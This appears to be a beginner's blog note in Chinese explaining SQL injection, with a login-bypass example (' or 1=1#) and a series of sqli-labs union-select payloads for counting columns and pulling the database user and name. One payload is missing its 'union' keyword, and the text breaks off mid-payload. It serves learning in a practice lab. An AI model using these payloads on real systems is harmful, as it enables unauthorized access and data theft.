刚开始学习sql注入的菜鸟,简单写下自己的理解,sql注入,肯定和数据库有关系了。利用sql语句来实现对数据库的入侵并获取数据或者破坏。
简单来说就是,利用sql语句来实现欺骗服务器,达到自己的目的。
比如:
我们要登录,需要输入用户名个和密码,然后后台数据库就会select
SELECT * FROM users WHERE username = '张三' AND password = '123456'
然后我们改变他的查询方式,利用#或许–注释符
select * from users where username=' ' or 1=1#' and password='123456'
然后#后面的就会被注释掉
select * from users where username=' 'or 1=1
而 or 1=1 肯定成立,所以
select * from users
就成了查询所有信息
而sqli-lab前面几个关卡就是这个原理
id=-1' order by 4 --+ 判断列
id=-1' union select 1,2,3 --+ 注入123
id=-1' select 1,user(),database() --+ 用户名,数据库名
id=-1' union select 1,2,database() --+ 数据库名
id=-1' union